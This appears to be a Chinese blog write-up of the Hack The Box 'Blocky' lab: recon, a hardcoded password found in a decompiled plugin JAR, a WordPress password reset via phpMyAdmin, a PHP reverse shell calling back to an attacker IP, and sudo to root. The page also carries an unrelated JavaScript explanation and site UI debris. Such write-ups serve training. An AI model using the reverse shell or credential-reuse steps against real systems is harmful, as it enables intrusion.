[Meachines] [Easy] Blocky Jar包反编译

信息收集

IP AddressOpening Ports
10.10.10.37TCP:21,22,80,25565

$ nmap -p- 10.10.10.37 --min-rate 1000 -sC -sV

PORT      STATE  SERVICE   VERSION
21/tcp    open   ftp       ProFTPD 1.3.5a
22/tcp    open   ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
|   256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_  256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp    open   http      Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://blocky.htb
|_http-server-header: Apache/2.4.18 (Ubuntu)
8192/tcp  closed sophos
25565/tcp open   minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)

HTTPD

image.png

# echo '10.10.10.37 blocky.htb'>>/etc/hosts

$ wpscan --url http://blocky.htb/ --enumerate u

username:notch

$ dirb http://blocky.htb

image-1.png

http://blocky.htb/plugins/

image-2.png

http://blocky.htb/phpmyadmin/

image-3.png

Jar包反编译

$ wget http://blocky.htb/plugins/files/BlockyCore.jar

$ binwalk BlockyCore.jar

image-4.png

$ foremost BlockyCore.jar

$ cd ./output/zip

$ unzip 00000000.zip

$ cd ./com/myfirstplugin

$ javap -c BlockyCore.class

image-5.png

username:root password:8YsqfCTnvxAUeduzjNSXe22

www-data 权限

phpAdmin登录,更新notch密码

image-7.png

https://www.useotools.com/ru/wordpress-password-hash-generator

$P$BNG7MVQRrgfTW4aREpCCA7Bv80pHmf/

image-8.png

$ip = '10.10.16.6';
$port = 10032;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);

image-9.png

$ curl http://blocky.htb/

image-10.png

$ su notch

Password: 8YsqfCTnvxAUeduzjNSXe22

image-11.png

User.txt

23da8f7548a2c1df972caa7fc6ca3b9d

权限提升

$ sudo -l

$ sudo /bin/bash

image-12.png

Root.txt

8e66e7402571816ee90419d1a6eca642

  • 7
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
这段代码看起来是 JavaScript 语言写的一个函数,函数名为 check_right。根据代码注释中的提示,这个函数是用来判断方块是否可以向右移动并移动方块的操作。下面是对代码的解释: - 第1行是注释,解释了这个函数的作用。 - 第2行定义了一个变量 blockX,其值为 mouseX+1,其中 mouseX 可能是鼠标的 X 坐标。 - 第3行定义了一个变量 blockY,其值为 mouseY,其中 mouseY 可能是鼠标的 Y 坐标。 - 第4行是一个 if 条件判断语句,判断当前方块是否可以向右移动。如果黑色方块数组 blackarray 中的第 blockY 行第 blockX 列的值为 2,且 blockX 小于 7,且 blackarray 中第 blockY 行第 blockX+1 列的值不为 0 或 2,则表示方块可以向右移动。 - 第5行定义了一个变量 blockname,其值为 blockY*10+blockX,这个值可能是用来标识方块的。 - 第6行使用 getElementById 方法获取 id 为 blockname 的元素,可能是获取当前方块的元素。 - 第7行将 blackarray 中第 blockY 行第 blockX 列的值设为 1,表示原来位置的方块已经离开。 - 第8行将 blockX 的值加 1,表示将方块向右移动一格。 - 第9行将 blackarray 中第 blockY 行第 blockX 列的值设为 2,表示新位置上出现了方块。 - 第10行将 oDivblockcatch 的 id 改为 blockY*10+blockX,可能是更新方块的标识。 - 第11行将 oDivblockcatch 的 left 属性设为 100+22*blockX,可能是改变方块的位置。 - 第12行返回 true,表示函数执行成功。 需要注意的是,这段代码缺少上下文信息,无法确定变量 mouseX、mouseY 和 blackarray 的值,也无法确定 oDivblockcatch 的实际效果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值